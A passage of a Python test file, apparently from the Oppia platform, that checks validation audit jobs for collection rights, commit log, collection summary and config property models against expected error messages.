CollectionRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field collection_rights_ids ' 'having value 0, expect model CollectionRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_rights_ids having value 0, expect model ' 'CollectionRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection rights model ' 'version check of CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: CollectionRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_collection_status', 'old_status': rights_manager.ACTIVITY_STATUS_PUBLIC, }, { 'cmd': 'release_ownership', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_collection_status check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation for ' 'command: {u\'old_status\': u\'public\', ' 'u\'cmd\': u\'change_collection_status\'} failed with error: ' 'The following required attributes are missing: ' 'new_status"]]' ), ( u'[u\'failed validation check for commit cmd ' 'release_ownership check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'release_ownership\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated CollectionRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field collection_rights_ids ' 'having value 0, expect model CollectionRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_rights_ids having value 0, expect model ' 'CollectionRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection rights model ' 'version check of CollectionRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: CollectionRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated CollectionRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.rights_model_instance = ( collection_models.CollectionCommitLogEntryModel( id='rights-1-1', user_id=self.owner_id, username=self.OWNER_USERNAME, collection_id='1', commit_type='edit', commit_message='', commit_cmds=[], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_community_owned=False, post_commit_is_private=False)) self.rights_model_instance.put() self.model_instance_0 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-0-1')) self.model_instance_1 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-1-1')) self.model_instance_2 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionCommitLogEntryModel\', 5]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() self.rights_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with id 0 ' 'but it doesn\'t exist", u"Entity id collection-0-2: based ' 'on field collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionCommitLogEntryModel\', ' '[u"Entity id rights-1-1: based on field ' 'collection_rights_ids having value 1, expect model ' 'CollectionRightsModel with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.collection_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Collection model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated CollectionCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( collection_models.CollectionCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.collection_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'CollectionCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated CollectionCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id collection-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of CollectionCommitLogEntryModel\', ' '[u\'Entity id collection-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = ( feconf.POST_COMMIT_STATUS_PUBLIC) self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' '%s but post_commit_is_private is True\']]' ) % (self.model_instance_0.id, feconf.POST_COMMIT_STATUS_PUBLIC), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = ( feconf.POST_COMMIT_STATUS_PRIVATE) self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' '%s but post_commit_is_private is False\']]' ) % (self.model_instance_0.id, feconf.POST_COMMIT_STATUS_PRIVATE), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_collection_node' }, { 'cmd': 'delete_collection_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_collection_node check of ' 'CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_collection_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'exploration_id, The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_collection_node check of CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_collection_node\'} ' 'failed with error: The following required attributes ' 'are missing: exploration_id"]]'), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionSummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' contributor_email = 'user@contributor.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.signup(contributor_email, 'contributor') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) self.contributor_id = self.get_user_id_from_email(contributor_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) language_codes = ['ar', 'en', 'en'] collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection.tags = ['math', 'art'] collection_services.save_new_collection(self.owner_id, collection) rights_manager.assign_role_for_collection( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) collection_services.update_collection( self.contributor_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') rights_manager.assign_role_for_collection( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = ( collection_models.CollectionSummaryModel.get_by_id('0')) self.model_instance_0.put() self.model_instance_1 = ( collection_models.CollectionSummaryModel.get_by_id('1')) self.model_instance_2 = ( collection_models.CollectionSummaryModel.get_by_id('2')) self.job_class = ( prod_validation_jobs_one_off.CollectionSummaryModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_collection(self.owner, '0') collection_services.update_collection( self.owner_id, '1', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionSummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): collection_services.delete_collection(self.owner_id, '1') collection_services.delete_collection(self.owner_id, '2') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_model = collection_models.CollectionModel.get_by_id('0') collection_model.delete(feconf.SYSTEM_COMMITTER_ID, '', []) self.model_instance_0.collection_model_last_updated = ( collection_model.last_updated) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field collection_ids having ' 'value 0, expect model CollectionModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_collection( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_contributor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.contributor_id).delete() expected_output = [ ( u'[u\'failed validation check for contributor_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field contributor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.contributor_id, self.contributor_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_contributors_summary(self): sorted_contributor_ids = sorted( self.model_instance_0.contributors_summary.keys()) self.model_instance_0.contributors_summary = {'invalid': 1} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for contributors summary ' 'check of CollectionSummaryModel\', ' '[u"Entity id 0: Contributor ids: [u\'%s\', u\'%s\'] do ' 'not match the contributor ids obtained using ' 'contributors summary: [u\'invalid\']"]]' ) % (sorted_contributor_ids[0], sorted_contributor_ids[1]), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_node_count(self): self.model_instance_0.node_count = 10 self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for node count check ' 'of CollectionSummaryModel\', ' '[u"Entity id 0: Node count: 10 does not match the number ' 'of nodes in collection_contents dict: [{u\'exploration_id\': ' 'u\'0\'}, {u\'exploration_id\': u\'1\'}]"]]' ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_ratings(self): self.model_instance_0.ratings = {'1': 0, '2': 1} self.model_instance_0.put() self.model_instance_1.ratings = {} self.model_instance_1.put() expected_output = [( u'[u\'failed validation check for ratings check of ' 'CollectionSummaryModel\', ' '[u"Entity id 0: Expected ratings for the entity to be empty ' 'but received {u\'1\': 0, u\'2\': 1}"]]' ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding collection title field: New title\']]' ) % self.model_instance_0.id, u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_rights_related_property(self): self.model_instance_0.status = 'public' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for status field check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: status field in entity: public does not ' 'match corresponding collection rights status field: ' 'private\']]' ) % self.model_instance_0.id, u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertyModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ConfigPropertyModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.model_instance = config_models.ConfigPropertyModel( id='config_model', value='c') self.model_instance.commit(feconf.SYSTEM_COMMITTER_ID, []) self.csrf_model_instance = config_models.ConfigPropertyModel.get_by_id( 'oppia_csrf_secret') self.job_class = ( prod_validation_jobs_one_off.ConfigPropertyModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ConfigPropertyModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.commit(self.admin_id, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertyModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated ), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete(self.admin_id, '', [{}]) expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertyModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'config_model-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ConfigPropertyModel\', ' '[u"Entity id config_model: based on field ' 'snapshot_metadata_ids having ' 'value config_model-1, expect model ' 'ConfigPropertySnapshotMetadataModel ' 'with id config_model-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): config_models.ConfigPropertySnapshotContentModel.get_by_id( 'config_model-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ConfigPropertyModel\', ' '[u"Entity id config_model: based on field ' 'snapshot_content_ids having ' 'value config_model-1, expect model ' 'ConfigPropertySnapshotContentModel ' 'with id config_model-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertySnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ConfigPropertySnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.config_model = config_models.ConfigPropertyModel( id='config_model', value='c') self.config_model.commit(self.admin_id, []) user_models.UserSettingsModel( id=feconf.SYSTEM_COMMITTER_ID, email='system@committer.com').put() self.model_instance = ( config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'config_model-1')) self.csrf_model_instance = ( config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'oppia_csrf_secret-1')) self.job_class = ( prod_validation_jobs_one_off .ConfigPropertySnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): self.config_model.commit(self.admin_id, []) expected_output = [ u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_config_property_model_failure(self): self.config_model.delete(self.admin_id, '', []) expected_output = [ ( u'[u\'failed validation check for config_property_ids ' 'field check of ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: based on field ' 'config_property_ids having value config_model, ' 'expect model ConfigPropertyModel with ' 'id config_model but it doesn\'t exist", ' 'u"Entity id config_model-2: based on field ' 'config_property_ids having value config_model, expect model ' 'ConfigPropertyModel with id config_model but it doesn\'t ' 'exist"]]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.admin_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: based on field committer_ids ' 'having value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.admin_id, self.admin_id), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_config_property_model_version_in_model_id(self): model_with_invalid_version_in_id = ( config_models.ConfigPropertySnapshotMetadataModel( id='config_model-3', committer_id=self.admin_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for config property model ' 'version 